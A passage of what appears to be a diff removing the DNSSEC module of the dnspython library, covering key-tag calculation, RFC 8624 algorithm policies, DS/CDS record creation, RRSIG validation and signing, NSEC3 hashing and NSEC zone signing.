a ``dns.rdtypes.ANY.DNSKEY.DNSKEY`` - - Returns an ``int`` between 0 and 65535 - """ - - rdata = key.to_wire() - assert rdata is not None # for mypy - if key.algorithm == Algorithm.RSAMD5: - return (rdata[-3] << 8) + rdata[-2] - else: - total = 0 - for i in range(len(rdata) // 2): - total += (rdata[2 * i] << 8) + rdata[2 * i + 1] - if len(rdata) % 2 != 0: - total += rdata[len(rdata) - 1] << 8 - total += (total >> 16) & 0xFFFF - return total & 0xFFFF - - -class Policy: - def __init__(self): - pass - - def ok_to_sign(self, key: DNSKEY) -> bool: # pragma: no cover - return False - - def ok_to_validate(self, key: DNSKEY) -> bool: # pragma: no cover - return False - - def ok_to_create_ds(self, algorithm: DSDigest) -> bool: # pragma: no cover - return False - - def ok_to_validate_ds(self, algorithm: DSDigest) -> bool: # pragma: no cover - return False - - -class SimpleDeny(Policy): - def __init__(self, deny_sign, deny_validate, deny_create_ds, deny_validate_ds): - super().__init__() - self._deny_sign = deny_sign - self._deny_validate = deny_validate - self._deny_create_ds = deny_create_ds - self._deny_validate_ds = deny_validate_ds - - def ok_to_sign(self, key: DNSKEY) -> bool: - return key.algorithm not in self._deny_sign - - def ok_to_validate(self, key: DNSKEY) -> bool: - return key.algorithm not in self._deny_validate - - def ok_to_create_ds(self, algorithm: DSDigest) -> bool: - return algorithm not in self._deny_create_ds - - def ok_to_validate_ds(self, algorithm: DSDigest) -> bool: - return algorithm not in self._deny_validate_ds - - -rfc_8624_policy = SimpleDeny( - {Algorithm.RSAMD5, Algorithm.DSA, Algorithm.DSANSEC3SHA1, Algorithm.ECCGOST}, - {Algorithm.RSAMD5, Algorithm.DSA, Algorithm.DSANSEC3SHA1}, - {DSDigest.NULL, DSDigest.SHA1, DSDigest.GOST}, - {DSDigest.NULL}, -) - -allow_all_policy = SimpleDeny(set(), set(), set(), set()) - - -default_policy = rfc_8624_policy - - -def make_ds( - name: dns.name.Name | str, - key: dns.rdata.Rdata, - algorithm: DSDigest | str, - origin: dns.name.Name | None = None, - policy: Policy | None = None, - validating: bool = False, -) -> DS: - """Create a DS record for a DNSSEC key. - - *name*, a ``dns.name.Name`` or ``str``, the owner name of the DS record. - - *key*, a ``dns.rdtypes.ANY.DNSKEY.DNSKEY`` or ``dns.rdtypes.ANY.DNSKEY.CDNSKEY``, - the key the DS is about. - - *algorithm*, a ``str`` or ``int`` specifying the hash algorithm. - The currently supported hashes are "SHA1", "SHA256", and "SHA384". Case - does not matter for these strings. - - *origin*, a ``dns.name.Name`` or ``None``. If *key* is a relative name, - then it will be made absolute using the specified origin. - - *policy*, a ``dns.dnssec.Policy`` or ``None``. If ``None``, the default policy, - ``dns.dnssec.default_policy`` is used; this policy defaults to that of RFC 8624. - - *validating*, a ``bool``. If ``True``, then policy is checked in - validating mode, i.e. "Is it ok to validate using this digest algorithm?". - Otherwise the policy is checked in creating mode, i.e. "Is it ok to create a DS with - this digest algorithm?". - - Raises ``UnsupportedAlgorithm`` if the algorithm is unknown. - - Raises ``DeniedByPolicy`` if the algorithm is denied by policy. - - Returns a ``dns.rdtypes.ANY.DS.DS`` - """ - - if policy is None: - policy = default_policy - try: - if isinstance(algorithm, str): - algorithm = DSDigest[algorithm.upper()] - except Exception: - raise UnsupportedAlgorithm(f'unsupported algorithm "{algorithm}"') - if validating: - check = policy.ok_to_validate_ds - else: - check = policy.ok_to_create_ds - if not check(algorithm): - raise DeniedByPolicy - if not isinstance(key, DNSKEY | CDNSKEY): - raise ValueError("key is not a DNSKEY | CDNSKEY") - if algorithm == DSDigest.SHA1: - dshash = hashlib.sha1() - elif algorithm == DSDigest.SHA256: - dshash = hashlib.sha256() - elif algorithm == DSDigest.SHA384: - dshash = hashlib.sha384() - else: - raise UnsupportedAlgorithm(f'unsupported algorithm "{algorithm}"') - - if isinstance(name, str): - name = dns.name.from_text(name, origin) - wire = name.canonicalize().to_wire() - kwire = key.to_wire(origin=origin) - assert wire is not None and kwire is not None # for mypy - dshash.update(wire) - dshash.update(kwire) - digest = dshash.digest() - - dsrdata = struct.pack("!HBB", key_id(key), key.algorithm, algorithm) + digest - ds = dns.rdata.from_wire( - dns.rdataclass.IN, dns.rdatatype.DS, dsrdata, 0, len(dsrdata) - ) - return cast(DS, ds) - - -def make_cds( - name: dns.name.Name | str, - key: dns.rdata.Rdata, - algorithm: DSDigest | str, - origin: dns.name.Name | None = None, -) -> CDS: - """Create a CDS record for a DNSSEC key. - - *name*, a ``dns.name.Name`` or ``str``, the owner name of the DS record. - - *key*, a ``dns.rdtypes.ANY.DNSKEY.DNSKEY`` or ``dns.rdtypes.ANY.DNSKEY.CDNSKEY``, - the key the DS is about. - - *algorithm*, a ``str`` or ``int`` specifying the hash algorithm. - The currently supported hashes are "SHA1", "SHA256", and "SHA384". Case - does not matter for these strings. - - *origin*, a ``dns.name.Name`` or ``None``. If *key* is a relative name, - then it will be made absolute using the specified origin. - - Raises ``UnsupportedAlgorithm`` if the algorithm is unknown. - - Returns a ``dns.rdtypes.ANY.DS.CDS`` - """ - - ds = make_ds(name, key, algorithm, origin) - return CDS( - rdclass=ds.rdclass, - rdtype=dns.rdatatype.CDS, - key_tag=ds.key_tag, - algorithm=ds.algorithm, - digest_type=ds.digest_type, - digest=ds.digest, - ) - - -def _find_candidate_keys( - keys: Dict[dns.name.Name, dns.rdataset.Rdataset | dns.node.Node], rrsig: RRSIG -) -> List[DNSKEY] | None: - value = keys.get(rrsig.signer) - if isinstance(value, dns.node.Node): - rdataset = value.get_rdataset(dns.rdataclass.IN, dns.rdatatype.DNSKEY) - else: - rdataset = value - if rdataset is None: - return None - return [ - cast(DNSKEY, rd) - for rd in rdataset - if rd.algorithm == rrsig.algorithm - and key_id(rd) == rrsig.key_tag - and (rd.flags & Flag.ZONE) == Flag.ZONE # RFC 4034 2.1.1 - and rd.protocol == 3 # RFC 4034 2.1.2 - ] - - -def _get_rrname_rdataset( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], -) -> Tuple[dns.name.Name, dns.rdataset.Rdataset]: - if isinstance(rrset, tuple): - return rrset[0], rrset[1] - else: - return rrset.name, rrset - - -def _validate_signature(sig: bytes, data: bytes, key: DNSKEY) -> None: - # pylint: disable=possibly-used-before-assignment - public_cls = get_algorithm_cls_from_dnskey(key).public_cls - try: - public_key = public_cls.from_dnskey(key) - except ValueError: - raise ValidationFailure("invalid public key") - public_key.verify(sig, data) - - -def _validate_rrsig( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - rrsig: RRSIG, - keys: Dict[dns.name.Name, dns.node.Node | dns.rdataset.Rdataset], - origin: dns.name.Name | None = None, - now: float | None = None, - policy: Policy | None = None, -) -> None: - """Validate an RRset against a single signature rdata, throwing an - exception if validation is not successful. - - *rrset*, the RRset to validate. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *rrsig*, a ``dns.rdata.Rdata``, the signature to validate. - - *keys*, the key dictionary, used to find the DNSKEY associated - with a given name. The dictionary is keyed by a - ``dns.name.Name``, and has ``dns.node.Node`` or - ``dns.rdataset.Rdataset`` values. - - *origin*, a ``dns.name.Name`` or ``None``, the origin to use for relative - names. - - *now*, a ``float`` or ``None``, the time, in seconds since the epoch, to - use as the current time when validating. If ``None``, the actual current - time is used. - - *policy*, a ``dns.dnssec.Policy`` or ``None``. If ``None``, the default policy, - ``dns.dnssec.default_policy`` is used; this policy defaults to that of RFC 8624. - - Raises ``ValidationFailure`` if the signature is expired, not yet valid, - the public key is invalid, the algorithm is unknown, the verification - fails, etc. - - Raises ``UnsupportedAlgorithm`` if the algorithm is recognized by - dnspython but not implemented. - """ - - if policy is None: - policy = default_policy - - candidate_keys = _find_candidate_keys(keys, rrsig) - if candidate_keys is None: - raise ValidationFailure("unknown key") - - if now is None: - now = time.time() - if rrsig.expiration < now: - raise ValidationFailure("expired") - if rrsig.inception > now: - raise ValidationFailure("not yet valid") - - data = _make_rrsig_signature_data(rrset, rrsig, origin) - - # pylint: disable=possibly-used-before-assignment - for candidate_key in candidate_keys: - if not policy.ok_to_validate(candidate_key): - continue - try: - _validate_signature(rrsig.signature, data, candidate_key) - return - except (InvalidSignature, ValidationFailure): - # this happens on an individual validation failure - continue - # nothing verified -- raise failure: - raise ValidationFailure("verify failure") - - -def _validate( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - rrsigset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - keys: Dict[dns.name.Name, dns.node.Node | dns.rdataset.Rdataset], - origin: dns.name.Name | None = None, - now: float | None = None, - policy: Policy | None = None, -) -> None: - """Validate an RRset against a signature RRset, throwing an exception - if none of the signatures validate. - - *rrset*, the RRset to validate. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *rrsigset*, the signature RRset. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *keys*, the key dictionary, used to find the DNSKEY associated - with a given name. The dictionary is keyed by a - ``dns.name.Name``, and has ``dns.node.Node`` or - ``dns.rdataset.Rdataset`` values. - - *origin*, a ``dns.name.Name``, the origin to use for relative names; - defaults to None. - - *now*, an ``int`` or ``None``, the time, in seconds since the epoch, to - use as the current time when validating. If ``None``, the actual current - time is used. - - *policy*, a ``dns.dnssec.Policy`` or ``None``. If ``None``, the default policy, - ``dns.dnssec.default_policy`` is used; this policy defaults to that of RFC 8624. - - Raises ``ValidationFailure`` if the signature is expired, not yet valid, - the public key is invalid, the algorithm is unknown, the verification - fails, etc. - """ - - if policy is None: - policy = default_policy - - if isinstance(origin, str): - origin = dns.name.from_text(origin, dns.name.root) - - if isinstance(rrset, tuple): - rrname = rrset[0] - else: - rrname = rrset.name - - if isinstance(rrsigset, tuple): - rrsigname = rrsigset[0] - rrsigrdataset = rrsigset[1] - else: - rrsigname = rrsigset.name - rrsigrdataset = rrsigset - - rrname = rrname.choose_relativity(origin) - rrsigname = rrsigname.choose_relativity(origin) - if rrname != rrsigname: - raise ValidationFailure("owner names do not match") - - for rrsig in rrsigrdataset: - if not isinstance(rrsig, RRSIG): - raise ValidationFailure("expected an RRSIG") - try: - _validate_rrsig(rrset, rrsig, keys, origin, now, policy) - return - except (ValidationFailure, UnsupportedAlgorithm): - pass - raise ValidationFailure("no RRSIGs validated") - - -def _sign( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - private_key: PrivateKey, - signer: dns.name.Name, - dnskey: DNSKEY, - inception: datetime | str | int | float | None = None, - expiration: datetime | str | int | float | None = None, - lifetime: int | None = None, - verify: bool = False, - policy: Policy | None = None, - origin: dns.name.Name | None = None, - deterministic: bool = True, -) -> RRSIG: - """Sign RRset using private key. - - *rrset*, the RRset to validate. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *private_key*, the private key to use for signing, a - ``cryptography.hazmat.primitives.asymmetric`` private key class applicable - for DNSSEC. - - *signer*, a ``dns.name.Name``, the Signer's name. - - *dnskey*, a ``DNSKEY`` matching ``private_key``. - - *inception*, a ``datetime``, ``str``, ``int``, ``float`` or ``None``, the - signature inception time. If ``None``, the current time is used. If a ``str``, the - format is "YYYYMMDDHHMMSS" or alternatively the number of seconds since the UNIX - epoch in text form; this is the same the RRSIG rdata's text form. - Values of type `int` or `float` are interpreted as seconds since the UNIX epoch. - - *expiration*, a ``datetime``, ``str``, ``int``, ``float`` or ``None``, the signature - expiration time. If ``None``, the expiration time will be the inception time plus - the value of the *lifetime* parameter. See the description of *inception* above - for how the various parameter types are interpreted. - - *lifetime*, an ``int`` or ``None``, the signature lifetime in seconds. This - parameter is only meaningful if *expiration* is ``None``. - - *verify*, a ``bool``. If set to ``True``, the signer will verify signatures - after they are created; the default is ``False``. - - *policy*, a ``dns.dnssec.Policy`` or ``None``. If ``None``, the default policy, - ``dns.dnssec.default_policy`` is used; this policy defaults to that of RFC 8624. - - *origin*, a ``dns.name.Name`` or ``None``. If ``None``, the default, then all - names in the rrset (including its owner name) must be absolute; otherwise the - specified origin will be used to make names absolute when signing. - - *deterministic*, a ``bool``. If ``True``, the default, use deterministic - (reproducible) signatures when supported by the algorithm used for signing. - Currently, this only affects ECDSA. - - Raises ``DeniedByPolicy`` if the signature is denied by policy. - """ - - if policy is None: - policy = default_policy - if not policy.ok_to_sign(dnskey): - raise DeniedByPolicy - - if isinstance(rrset, tuple): - rdclass = rrset[1].rdclass - rdtype = rrset[1].rdtype - rrname = rrset[0] - original_ttl = rrset[1].ttl - else: - rdclass = rrset.rdclass - rdtype = rrset.rdtype - rrname = rrset.name - original_ttl = rrset.ttl - - if inception is not None: - rrsig_inception = to_timestamp(inception) - else: - rrsig_inception = int(time.time()) - - if expiration is not None: - rrsig_expiration = to_timestamp(expiration) - elif lifetime is not None: - rrsig_expiration = rrsig_inception + lifetime - else: - raise ValueError("expiration or lifetime must be specified") - - # Derelativize now because we need a correct labels length for the - # rrsig_template. - if origin is not None: - rrname = rrname.derelativize(origin) - labels = len(rrname) - 1 - - # Adjust labels appropriately for wildcards. - if rrname.is_wild(): - labels -= 1 - - rrsig_template = RRSIG( - rdclass=rdclass, - rdtype=dns.rdatatype.RRSIG, - type_covered=rdtype, - algorithm=dnskey.algorithm, - labels=labels, - original_ttl=original_ttl, - expiration=rrsig_expiration, - inception=rrsig_inception, - key_tag=key_id(dnskey), - signer=signer, - signature=b"", - ) - - data = _make_rrsig_signature_data(rrset, rrsig_template, origin) - - # pylint: disable=possibly-used-before-assignment - if isinstance(private_key, GenericPrivateKey): - signing_key = private_key - else: - try: - private_cls = get_algorithm_cls_from_dnskey(dnskey) - signing_key = private_cls(key=private_key) - except UnsupportedAlgorithm: - raise TypeError("Unsupported key algorithm") - - signature = signing_key.sign(data, verify, deterministic) - - return cast(RRSIG, rrsig_template.replace(signature=signature)) - - -def _make_rrsig_signature_data( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - rrsig: RRSIG, - origin: dns.name.Name | None = None, -) -> bytes: - """Create signature rdata. - - *rrset*, the RRset to sign/validate. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *rrsig*, a ``dns.rdata.Rdata``, the signature to validate, or the - signature template used when signing. - - *origin*, a ``dns.name.Name`` or ``None``, the origin to use for relative - names. - - Raises ``UnsupportedAlgorithm`` if the algorithm is recognized by - dnspython but not implemented. - """ - - if isinstance(origin, str): - origin = dns.name.from_text(origin, dns.name.root) - - signer = rrsig.signer - if not signer.is_absolute(): - if origin is None: - raise ValidationFailure("relative RR name without an origin specified") - signer = signer.derelativize(origin) - - # For convenience, allow the rrset to be specified as a (name, - # rdataset) tuple as well as a proper rrset - rrname, rdataset = _get_rrname_rdataset(rrset) - - data = b"" - wire = rrsig.to_wire(origin=signer) - assert wire is not None # for mypy - data += wire[:18] - data += rrsig.signer.to_digestable(signer) - - # Derelativize the name before considering labels. - if not rrname.is_absolute(): - if origin is None: - raise ValidationFailure("relative RR name without an origin specified") - rrname = rrname.derelativize(origin) - - name_len = len(rrname) - if rrname.is_wild() and rrsig.labels != name_len - 2: - raise ValidationFailure("wild owner name has wrong label length") - if name_len - 1 < rrsig.labels: - raise ValidationFailure("owner name longer than RRSIG labels") - elif rrsig.labels < name_len - 1: - suffix = rrname.split(rrsig.labels + 1)[1] - rrname = dns.name.from_text("*", suffix) - rrnamebuf = rrname.to_digestable() - rrfixed = struct.pack("!HHI", rdataset.rdtype, rdataset.rdclass, rrsig.original_ttl) - rdatas = [rdata.to_digestable(origin) for rdata in rdataset] - for rdata in sorted(rdatas): - data += rrnamebuf - data += rrfixed - rrlen = struct.pack("!H", len(rdata)) - data += rrlen - data += rdata - - return data - - -def _make_dnskey( - public_key: PublicKey, - algorithm: int | str, - flags: int = Flag.ZONE, - protocol: int = 3, -) -> DNSKEY: - """Convert a public key to DNSKEY Rdata - - *public_key*, a ``PublicKey`` (``GenericPublicKey`` or - ``cryptography.hazmat.primitives.asymmetric``) to convert. - - *algorithm*, a ``str`` or ``int`` specifying the DNSKEY algorithm. - - *flags*: DNSKEY flags field as an integer. - - *protocol*: DNSKEY protocol field as an integer. - - Raises ``ValueError`` if the specified key algorithm parameters are not - unsupported, ``TypeError`` if the key type is unsupported, - `UnsupportedAlgorithm` if the algorithm is unknown and - `AlgorithmKeyMismatch` if the algorithm does not match the key type. - - Return DNSKEY ``Rdata``. - """ - - algorithm = Algorithm.make(algorithm) - - # pylint: disable=possibly-used-before-assignment - if isinstance(public_key, GenericPublicKey): - return public_key.to_dnskey(flags=flags, protocol=protocol) - else: - public_cls = get_algorithm_cls(algorithm).public_cls - return public_cls(key=public_key).to_dnskey(flags=flags, protocol=protocol) - - -def _make_cdnskey( - public_key: PublicKey, - algorithm: int | str, - flags: int = Flag.ZONE, - protocol: int = 3, -) -> CDNSKEY: - """Convert a public key to CDNSKEY Rdata - - *public_key*, the public key to convert, a - ``cryptography.hazmat.primitives.asymmetric`` public key class applicable - for DNSSEC. - - *algorithm*, a ``str`` or ``int`` specifying the DNSKEY algorithm. - - *flags*: DNSKEY flags field as an integer. - - *protocol*: DNSKEY protocol field as an integer. - - Raises ``ValueError`` if the specified key algorithm parameters are not - unsupported, ``TypeError`` if the key type is unsupported, - `UnsupportedAlgorithm` if the algorithm is unknown and - `AlgorithmKeyMismatch` if the algorithm does not match the key type. - - Return CDNSKEY ``Rdata``. - """ - - dnskey = _make_dnskey(public_key, algorithm, flags, protocol) - - return CDNSKEY( - rdclass=dnskey.rdclass, - rdtype=dns.rdatatype.CDNSKEY, - flags=dnskey.flags, - protocol=dnskey.protocol, - algorithm=dnskey.algorithm, - key=dnskey.key, - ) - - -def nsec3_hash( - domain: dns.name.Name | str, - salt: str | bytes | None, - iterations: int, - algorithm: int | str, -) -> str: - """ - Calculate the NSEC3 hash, according to - https://tools.ietf.org/html/rfc5155#section-5 - - *domain*, a ``dns.name.Name`` or ``str``, the name to hash. - - *salt*, a ``str``, ``bytes``, or ``None``, the hash salt. If a - string, it is decoded as a hex string. - - *iterations*, an ``int``, the number of iterations. - - *algorithm*, a ``str`` or ``int``, the hash algorithm. - The only defined algorithm is SHA1. - - Returns a ``str``, the encoded NSEC3 hash. - """ - - b32_conversion = str.maketrans( - "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "0123456789ABCDEFGHIJKLMNOPQRSTUV" - ) - - try: - if isinstance(algorithm, str): - algorithm = NSEC3Hash[algorithm.upper()] - except Exception: - raise ValueError("Wrong hash algorithm (only SHA1 is supported)") - - if algorithm != NSEC3Hash.SHA1: - raise ValueError("Wrong hash algorithm (only SHA1 is supported)") - - if salt is None: - salt_encoded = b"" - elif isinstance(salt, str): - if len(salt) % 2 == 0: - salt_encoded = bytes.fromhex(salt) - else: - raise ValueError("Invalid salt length") - else: - salt_encoded = salt - - if not isinstance(domain, dns.name.Name): - domain = dns.name.from_text(domain) - domain_encoded = domain.canonicalize().to_wire() - assert domain_encoded is not None - - digest = hashlib.sha1(domain_encoded + salt_encoded).digest() - for _ in range(iterations): - digest = hashlib.sha1(digest + salt_encoded).digest() - - output = base64.b32encode(digest).decode("utf-8") - output = output.translate(b32_conversion) - - return output - - -def make_ds_rdataset( - rrset: dns.rrset.RRset | Tuple[dns.name.Name, dns.rdataset.Rdataset], - algorithms: Set[DSDigest | str], - origin: dns.name.Name | None = None, -) -> dns.rdataset.Rdataset: - """Create a DS record from DNSKEY/CDNSKEY/CDS. - - *rrset*, the RRset to create DS Rdataset for. This can be a - ``dns.rrset.RRset`` or a (``dns.name.Name``, ``dns.rdataset.Rdataset``) - tuple. - - *algorithms*, a set of ``str`` or ``int`` specifying the hash algorithms. - The currently supported hashes are "SHA1", "SHA256", and "SHA384". Case - does not matter for these strings. If the RRset is a CDS, only digest - algorithms matching algorithms are accepted. - - *origin*, a ``dns.name.Name`` or ``None``. If `key` is a relative name, - then it will be made absolute using the specified origin. - - Raises ``UnsupportedAlgorithm`` if any of the algorithms are unknown and - ``ValueError`` if the given RRset is not usable. - - Returns a ``dns.rdataset.Rdataset`` - """ - - rrname, rdataset = _get_rrname_rdataset(rrset) - - if rdataset.rdtype not in ( - dns.rdatatype.DNSKEY, - dns.rdatatype.CDNSKEY, - dns.rdatatype.CDS, - ): - raise ValueError("rrset not a DNSKEY/CDNSKEY/CDS") - - _algorithms = set() - for algorithm in algorithms: - try: - if isinstance(algorithm, str): - algorithm = DSDigest[algorithm.upper()] - except Exception: - raise UnsupportedAlgorithm(f'unsupported algorithm "{algorithm}"') - _algorithms.add(algorithm) - - if rdataset.rdtype == dns.rdatatype.CDS: - res = [] - for rdata in cds_rdataset_to_ds_rdataset(rdataset): - if rdata.digest_type in _algorithms: - res.append(rdata) - if len(res) == 0: - raise ValueError("no acceptable CDS rdata found") - return dns.rdataset.from_rdata_list(rdataset.ttl, res) - - res = [] - for algorithm in _algorithms: - res.extend(dnskey_rdataset_to_cds_rdataset(rrname, rdataset, algorithm, origin)) - return dns.rdataset.from_rdata_list(rdataset.ttl, res) - - -def cds_rdataset_to_ds_rdataset( - rdataset: dns.rdataset.Rdataset, -) -> dns.rdataset.Rdataset: - """Create a CDS record from DS. - - *rdataset*, a ``dns.rdataset.Rdataset``, to create DS Rdataset for. - - Raises ``ValueError`` if the rdataset is not CDS. - - Returns a ``dns.rdataset.Rdataset`` - """ - - if rdataset.rdtype != dns.rdatatype.CDS: - raise ValueError("rdataset not a CDS") - res = [] - for rdata in rdataset: - res.append( - CDS( - rdclass=rdata.rdclass, - rdtype=dns.rdatatype.DS, - key_tag=rdata.key_tag, - algorithm=rdata.algorithm, - digest_type=rdata.digest_type, - digest=rdata.digest, - ) - ) - return dns.rdataset.from_rdata_list(rdataset.ttl, res) - - -def dnskey_rdataset_to_cds_rdataset( - name: dns.name.Name | str, - rdataset: dns.rdataset.Rdataset, - algorithm: DSDigest | str, - origin: dns.name.Name | None = None, -) -> dns.rdataset.Rdataset: - """Create a CDS record from DNSKEY/CDNSKEY. - - *name*, a ``dns.name.Name`` or ``str``, the owner name of the CDS record. - - *rdataset*, a ``dns.rdataset.Rdataset``, to create DS Rdataset for. - - *algorithm*, a ``str`` or ``int`` specifying the hash algorithm. - The currently supported hashes are "SHA1", "SHA256", and "SHA384". Case - does not matter for these strings. - - *origin*, a ``dns.name.Name`` or ``None``. If `key` is a relative name, - then it will be made absolute using the specified origin. - - Raises ``UnsupportedAlgorithm`` if the algorithm is unknown or - ``ValueError`` if the rdataset is not DNSKEY/CDNSKEY. - - Returns a ``dns.rdataset.Rdataset`` - """ - - if rdataset.rdtype not in (dns.rdatatype.DNSKEY, dns.rdatatype.CDNSKEY): - raise ValueError("rdataset not a DNSKEY/CDNSKEY") - res = [] - for rdata in rdataset: - res.append(make_cds(name, rdata, algorithm, origin)) - return dns.rdataset.from_rdata_list(rdataset.ttl, res) - - -def dnskey_rdataset_to_cdnskey_rdataset( - rdataset: dns.rdataset.Rdataset, -) -> dns.rdataset.Rdataset: - """Create a CDNSKEY record from DNSKEY. - - *rdataset*, a ``dns.rdataset.Rdataset``, to create CDNSKEY Rdataset for. - - Returns a ``dns.rdataset.Rdataset`` - """ - - if rdataset.rdtype != dns.rdatatype.DNSKEY: - raise ValueError("rdataset not a DNSKEY") - res = [] - for rdata in rdataset: - res.append( - CDNSKEY( - rdclass=rdataset.rdclass, - rdtype=rdataset.rdtype, - flags=rdata.flags, - protocol=rdata.protocol, - algorithm=rdata.algorithm, - key=rdata.key, - ) - ) - return dns.rdataset.from_rdata_list(rdataset.ttl, res) - - -def default_rrset_signer( - txn: dns.transaction.Transaction, - rrset: dns.rrset.RRset, - signer: dns.name.Name, - ksks: List[Tuple[PrivateKey, DNSKEY]], - zsks: List[Tuple[PrivateKey, DNSKEY]], - inception: datetime | str | int | float | None = None, - expiration: datetime | str | int | float | None = None, - lifetime: int | None = None, - policy: Policy | None = None, - origin: dns.name.Name | None = None, - deterministic: bool = True, -) -> None: - """Default RRset signer""" - - if rrset.rdtype in set( - [ - dns.rdatatype.RdataType.DNSKEY, - dns.rdatatype.RdataType.CDS, - dns.rdatatype.RdataType.CDNSKEY, - ] - ): - keys = ksks - else: - keys = zsks - - for private_key, dnskey in keys: - rrsig = sign( - rrset=rrset, - private_key=private_key, - dnskey=dnskey, - inception=inception, - expiration=expiration, - lifetime=lifetime, - signer=signer, - policy=policy, - origin=origin, - deterministic=deterministic, - ) - txn.add(rrset.name, rrset.ttl, rrsig) - - -def sign_zone( - zone: dns.zone.Zone, - txn: dns.transaction.Transaction | None = None, - keys: List[Tuple[PrivateKey, DNSKEY]] | None = None, - add_dnskey: bool = True, - dnskey_ttl: int | None = None, - inception: datetime | str | int | float | None = None, - expiration: datetime | str | int | float | None = None, - lifetime: int | None = None, - nsec3: NSEC3PARAM | None = None, - rrset_signer: RRsetSigner | None = None, - policy: Policy | None = None, - deterministic: bool = True, -) -> None: - """Sign zone. - - *zone*, a ``dns.zone.Zone``, the zone to sign. - - *txn*, a ``dns.transaction.Transaction``, an optional transaction to use for - signing. - - *keys*, a list of (``PrivateKey``, ``DNSKEY``) tuples, to use for signing. KSK/ZSK - roles are assigned automatically if the SEP flag is used, otherwise all RRsets are - signed by all keys. - - *add_dnskey*, a ``bool``. If ``True``, the default, all specified DNSKEYs are - automatically added to the zone on signing. - - *dnskey_ttl*, a``int``, specifies the TTL for DNSKEY RRs. If not specified the TTL - of the existing DNSKEY RRset used or the TTL of the SOA RRset. - - *inception*, a ``datetime``, ``str``, ``int``, ``float`` or ``None``, the signature - inception time. If ``None``, the current time is used. If a ``str``, the format is - "YYYYMMDDHHMMSS" or alternatively the number of seconds since the UNIX epoch in text - form; this is the same the RRSIG rdata's text form. Values of type `int` or `float` - are interpreted as seconds since the UNIX epoch. - - *expiration*, a ``datetime``, ``str``, ``int``, ``float`` or ``None``, the signature - expiration time. If ``None``, the expiration time will be the inception time plus - the value of the *lifetime* parameter. See the description of *inception* above for - how the various parameter types are interpreted. - - *lifetime*, an ``int`` or ``None``, the signature lifetime in seconds. This - parameter is only meaningful if *expiration* is ``None``. - - *nsec3*, a ``NSEC3PARAM`` Rdata, configures signing using NSEC3. Not yet - implemented. - - *rrset_signer*, a ``Callable``, an optional function for signing RRsets. The - function requires two arguments: transaction and RRset. If the not specified, - ``dns.dnssec.default_rrset_signer`` will be used. - - *deterministic*, a ``bool``. If ``True``, the default, use deterministic - (reproducible) signatures when supported by the algorithm used for signing. - Currently, this only affects ECDSA. - - Returns ``None``. - """ - - ksks = [] - zsks = [] - - # if we have both KSKs and ZSKs, split by SEP flag. if not, sign all - # records with all keys - if keys: - for key in keys: - if key[1].flags & Flag.SEP: - ksks.append(key) - else: - zsks.append(key) - if not ksks: - ksks = keys - if not zsks: - zsks = keys - else: - keys = [] - - if txn: - cm: contextlib.AbstractContextManager = contextlib.nullcontext(txn) - else: - cm = zone.writer() - - if zone.origin is None: - raise ValueError("no zone origin") - - with cm as _txn: - if add_dnskey: - if dnskey_ttl is None: - dnskey = _txn.get(zone.origin, dns.rdatatype.DNSKEY) - if dnskey: - dnskey_ttl = dnskey.ttl - else: - soa = _txn.get(zone.origin, dns.rdatatype.SOA) - dnskey_ttl = soa.ttl - for _, dnskey in keys: - _txn.add(zone.origin, dnskey_ttl, dnskey) - - if nsec3: - raise NotImplementedError("Signing with NSEC3 not yet implemented") - else: - _rrset_signer = rrset_signer or functools.partial( - default_rrset_signer, - signer=zone.origin, - ksks=ksks, - zsks=zsks, - inception=inception, - expiration=expiration, - lifetime=lifetime, - policy=policy, - origin=zone.origin, - deterministic=deterministic, - ) - return _sign_zone_nsec(zone, _txn, _rrset_signer) - - -def _sign_zone_nsec( - zone: dns.zone.Zone, - txn: dns.transaction.Transaction, - rrset_signer: RRsetSigner | None = None, -) -> None: - """NSEC zone signer""" - - def _txn_add_nsec( - txn: dns.transaction.Transaction, - name: dns.name.Name, - next_secure: dns.name.Name | None, - rdclass: dns.rdataclass.RdataClass, - ttl: int, - rrset_signer: RRsetSigner | None = None, - ) -> None: - """NSEC zone signer helper""" - mandatory_types = set( - [dns.rdatatype.RdataType.RRSIG, dns.rdatatype.RdataType.NSEC] - ) - node = txn.get_node(name) - if node and next_secure: - types = ( - set([rdataset.rdtype for rdataset in node.rdatasets]) | mandatory_types - ) - windows = Bitmap.from_rdtypes(list(types)) - rrset = dns.rrset.from_rdata( - name, - ttl, - NSEC( - rdclass=rdclass, - rdtype=dns.rdatatype.RdataType.NSEC, - next=next_secure, - windows=windows, - ), - ) - txn.add(rrset) - if rrset_signer: - rrset_signer(txn, rrset) - - rrsig_ttl = zone.get_soa(txn).minimum - delegation = None - last_secure = None - - for name in sorted(txn.iterate_names()): - if delegation and name.is_subdomain(delegation): - # names below delegations are not secure - continue - elif txn.get(name, dns.rdatatype.NS) and name != zone.origin: - # inside delegation - delegation = name - else: - # outside delegation - delegation = None - - if rrset_signer: - node = txn.get_node(name) - if node: - for rdataset in node.rdatasets: - if rdataset.rdtype == dns.rdatatype.RRSIG: - # do not sign RRSIGs - continue - elif delegation and rdataset.rdtype != dns.rdatatype.DS: - # do not sign delegations except DS records - continue - else: - rrset = dns.rrset.from_rdata(name, rdataset.ttl, *rdataset) - rrset_signer(txn, rrset) - - # We need "is not None" as the empty name is False because its length is 0. - if last_secure is not None: - _txn_add_nsec(txn, last_secure, name, zone.rdclass, rrsig_ttl, rrset_signer) - last_secure = name - - if last_secure: - _txn_add_nsec( - txn, last_secure, zone.origin, zone.rdclass, rrsig_ttl, 